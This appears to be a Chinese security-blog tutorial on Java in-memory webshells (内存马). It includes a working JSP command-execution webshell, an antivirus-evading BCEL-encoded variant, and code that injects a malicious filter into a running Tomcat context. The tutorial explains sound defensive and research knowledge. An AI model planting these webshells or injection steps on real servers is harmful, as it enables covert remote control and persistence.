freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

经验分享 | 浅谈Java内存马
2025-01-03 16:15:36
所属地 江苏省

0x01 内存马概述

1.1 内存马产生的背景

在早期,web应用的安全防护非常有限,webshell都是以文件落地形式存在,攻击者通过文件上传或者命令执行等漏洞将木马文件上传到磁盘中,然后找到上传的路径进行webshell的连接,实现远程控制,常见的有大马、小马、一句话木马等。

<% if("security".equals(request.getParameter("pwd"))){ 
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>");
    }
%>

当我们上传该jsp文件时,会发现刚传上去就会服务器杀软给删除

1735890922_677797ea8e8b74fc4c5b1.png!small?1735890923893

ESET是因为检测到了Runtime.getRuntime().exec(),所以判定为Java的webshell。下面jsp代码进行了免杀处理,bcel可以加载一种特殊格式的字符串,把它加载到jvm中,那么就会得到它的恶意类的class,然后通过反射或者其他方式把恶意类构造出来再调用它的方法

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String bcel="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$TA$Q$3d$93l2$c9$b2$E$S$c2$cd$bb$u$92$84K$U$f1$G$I$C$82$82$B$zba$e5q$b3$Zp1$d9Mm6$W$7f$e4$abVib$99$w$l$7d$f0$H$fc$H$3fB$ec$d9$EB$8aXV$w$3d$3d$dd$3d$dd$a7$cf$f4$ec$cf$3f$df$be$D$98$c3$8e$8a$u$a68$a6U$f8$e4$3a$c3$91Vq$hw$a4$98Uq$Xs$w$C$b8$a7B$c1$7d$v$k$c8$c0$87$n$3c$92$eb$7c$Y$fdX$e0X$e4x$cc$e0wD$85$n$969$d4$df$eb$e9$a2n$j$a4$b3$aecZ$H$L$M$c1E$d32$dd$r$86$c1$c4ywr$8fAY$b3$L$82$a1$_cZb$a7Z$ca$L$e7$b5$9e$_$K$99$ce6$f4$e2$9e$ee$98r$df2$w$ee$5b$93J$F3$ae$a8$b8$94$deo$94$K$M$beJ$9ea$f4$5c$fe$d5$aaY$y$IG$a2p$84N$g$c3H3$c8$b4$d3$ab$d5$fd$7d$e1$88$c2$ae$e7$a1$Y$a5H$I$Yz$b3$aen$bc$db$d6$cb$5eE$af$c3$rb$89$IbP$d7$8f$MQvM$db$aap$y3$84$5c$bbY$89$n$9eHvk_$cd$daU$c7$Q$h$a6$E$l$96$a0gd$94$868$9e0$M$ff$D1$c3Pw$98$d4$e5$89c$d3$wW$5d$3a$r$f4R$d3$c7$b1$a2a$Vk$g$9eb$9dcC$c33$3c$97$856$a5$d8$d2$f0$CI$N$Zl30UCB$eeb$Y$90$9c$S$y$86$fe6$98$97$f9Cat$9aN$fa$ih$9bN$c9$a0kH$c8$ab$8c$b6$7d$bbU$cb5K$d4$b3z$m$dc$d3$cd$60$HI$z$b3$a4$5e$i$J$83a$a2$db$88$9c1$bdrlCT$w$L$j$95ZF$86$IU$3aC$K$b1$7bR$ad$93$z$3a$3e$92$e8$ea$90$3d$M$b4$5d$ad$c9$90$d6$90$9c$9f$8c7$lA$bd$5c$W$W$N$dd$f4$7f$d0v$ce$m$ae$d3$83$89$d2$cb$a3i$95$b4$93$e6$p$3d$8eAZ$87h$f7$LAzn$c0V$aa$O$d6$80$_W$87$7f$bb$B$r$d7$40$m$f7$V$c1$c9$gx$N$a1$3a$c2u$a8$3bl$5e$99$ae$a1$t7$af$fc$40ljT$a9A$8b$f5$92x$f3$e1$f8wj$aa$86$c8$X$f4$7d$a2l$7e$M$93$iC$88d$90$k1$87F$fa8$c2t$ff$wf$d1$83$V$f4b$T$R$8cx_$F$P$BFq$B$f0$b4$8b$84$94$d1$99$r$5c$c2eB$3aN$bf$x$b8Jy$T$94$f5$gy$V$ea$Mt$c2wL$a6$A$c7$Y$c7$N$8e$9b$i$e3$a4$80$d2$de$o$b7BI$s$e8OCGR$b6$9b$a6$95$d1$gH$7dF$dfG$8f$8da$P$a34F$3d4Z3$a0$85$86$n$e5EM$fe$F$l$eefK$c2$E$A$A";
    String a=request.getParameter("cmd");
    Class<?> _loader=Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader=(ClassLoader)_loader.newInstance();
    Class<?> _obj=loader.loadClass(bcel);
    Constructor<?> constructor=_obj.getConstructor(String.class);
    Object obj =constructor.newInstance(a);
    response.getWriter().println("<pre>");
    response.getWriter().println(obj.toString());
    response.getWriter().println("</pre>");
%>

1735890941_677797fd3592121f01df3.png!small?1735890941875

1735890959_6777980f56d98e200b58f.png!small?1735890959896

我们来分析一下文件型webshell的工作流程

  • 上传 JSP 文件
  • JSP 文件转换为 Servlet
  • Servlet 编译成字节码
  • 加载并执行 Servlet
  • 生成 HTML 响应
  • 返回响应给客户端

1735890993_677798319a6850c72f0be.png!small?1735890994027

这种落地式webshell的有一些很明显的缺点:

1、需要落地到磁盘,现在的设备对文件马静态检测率非常高,文件马几乎无法落地

2、网站目录没有写入的权限

3、文件路径需要能被解析

在与安全对抗的过程中,攻击者意识到传统的木马的这些弱点,一旦被检测到文件,攻击者的控制途径将被切断。

普通shell以文件方式存在,做恶意文件识别相对来说是简单的,但是恶意代码被加载到内存中之后,想要查杀是非常困难的。于是内存马出现了,内存马无文件形式不落地驻留内存且难以检测,标志着持久化攻击技术的一次重大升级,所以内存马技术越来越流行。那什么是内存马呢?内存马又是怎么被注入的呢?

1.2 Java内存马的基本原理

内存马是一种不需要在磁盘上写入任何文件、通过直接加载到目标系统内存中的恶意代码。它依赖于Java虚拟机(JVM)动态类加载特性,通过注入和持久化恶意类,实现远程控制、信息窃取或其他恶意操作。由于它们驻留在内存中,除非重启或手动清理,否则内存马在攻击期间会持续存在。

那内存马是怎么实现的呢,这里我们以Tomcat为例,Tomcat 设计了 4 种容器,分别是EngineHostContextWrapperServer代表 Tomcat 实例。

1735891012_6777984449b69212b5b8a.png!small?1735891013351

假如有用户访问一个 URL,比如图中的http://user.shopping.com:8080/order/buy,Tomcat 如何将这个 URL 定位到一个 Servlet 呢?

1735891035_6777985b7b512edf76b32.png!small?1735891036057

  1. 首先根据协议和端口号确定 Service 和 Engine。Tomcat 默认的 HTTP 连接器监听 8080 端口、默认的 AJP 连接器监听 8009 端口。上面例子中的 URL 访问的是 8080 端口,因此这个请求会被 HTTP 连接器接收,而一个连接器是属于一个 Service 组件的,这样 Service 组件就确定了。我们还知道一个 Service 组件里除了有多个连接器,还有一个容器组件,具体来说就是一个 Engine 容器,因此 Service 确定了也就意味着 Engine 也确定了。
  2. 根据域名选定 Host。 Service 和 Engine 确定后,Mapper 组件通过 URL 中的域名去查找相应的 Host 容器,比如例子中的 URL 访问的域名是user.shopping.com,因此 Mapper 会找到 Host2 这个容器。
  3. 根据 URL 路径找到 Context 组件。 Host 确定以后,Mapper 根据 URL 的路径来匹配相应的 Web 应用的路径,比如例子中访问的是 /order,因此找到了 Context4 这个 Context 容器。
  4. 根据 URL 路径找到 Wrapper(Servlet)。 Context 确定后,Mapper 再根据 web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet。

内存马的核心概念之一就是获取并控制JVM的上下文(context),即控制JVM中运行时的类、方法、字段、线程等内容。通过操控这些上下文信息,攻击者可以实现对程序行为的修改,从而绕过正常的控制流,执行恶意代码。 可以用class类加载机制实现内存马不落地,只有获取到了context攻击者才能进行下一步,那怎么去获取到context呢?

1)通过jsp的request对象来获取

通过 jsp的pageContext对象可以直接获取当前 Web 应用的ServletContext对象,这是 jsp 特性决定的。但是它只能操作当前 Web 应用的上下文,无法跨 Web 应用操作。这确实是 JSP 内存马的一大限制,也是为什么 jsp 方式更适合通过 WebShell(如文件上传漏洞)植入,而不适合反序列化漏洞。

1735891055_6777986f7f6c4b8b6b471.png!small?1735891056699

<%
    // 获取当前应用的 ServletContext
    ServletContext context = pageContext.getServletContext();  
    out.println("Context Path: " + context.getContextPath());
%>

1735891071_6777987fbd3294a11e68c.png!small?1735891072264

2) 通过Thread来获取

Tomcat中每个请求的处理过程都会分配一个独立的线程,这个线程会保存当前请求的上下文环境,例如HttpServletRequestHttpServletResponse,以及与请求相关的Context对象。 可以获取当前线程对象,而线程中有很多对象可以被间接引用,沿着引用链逆向查找,最终可以获取到系统中所有的 context 对象,也能向其他 web 应用注入内存马。

1735891088_67779890910fcc726f68b.png!small?1735891089688

成功在线程中找到了需要的tomcat的context对象

// 获取context
// org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[3].target.this$0.children.get("localhost").findChildren()[0];
Thread.currentThread().group.threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");

1735891105_677798a1c4c35d488c0c4.png!small?1735891106660

继续演示下怎么在context中插入一个恶意的filter

// 1.获取context对象
org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");

// 2.创建并配置 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("NewFilter");	
filterDef.setFilter(new FilterDemo3()); // 这里是恶意的filter实例
standardContext.addFilterDef(filterDef);

// 3.创建并配置 ApplicationFilterConfig
ApplicationFilterConfig applicationFilterConfig = new ApplicationFilterConfig(standardContext, filterDef);
standardContext.filterConfigs.put("NewFilter", applicationFilterConfig);

// 4.配置 FilterMap
FilterMap f = new FilterMap();
f.setFilterName("NewFilter");
f.addURLPattern("/calc/*");
standardContext.addFilterMap(f);

Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");

1735891121_677798b1c253f4c56627b.png!small?1735891122339

1735891134_677798be45e01e41f7383.png!small?1735891135039

不同的容器,他对应的context的名称不一样,如 Tomcat 中用于表示 Web 应用上下文的具体实现类为: StandardContext,spring中为 ApplicationContext,weblogic中为 WebAppServletContext 等等。那我们继续看一下Jave的内存马究竟有哪些分类呢?

1.3 Java内存马的类型

Java内存马可以通过多种方式进行实现,依据不同的注入方式和运行原理,常见的Java内存马类型包括:基于Servlet的内存马、基于Filter的内存马、基于Listener的内存马、以及基于字节码操作的内存马等等,每一种类型的内存马都有其独特的实现原理和应用场景。

1735891148_677798cc1de20803f4677.png!small?1735891148551

首先我们看下Servlet-Api内存马,本质可以理解成就是web组件。 他的核心原理为:通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。

# JAVA安全 # 内存马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录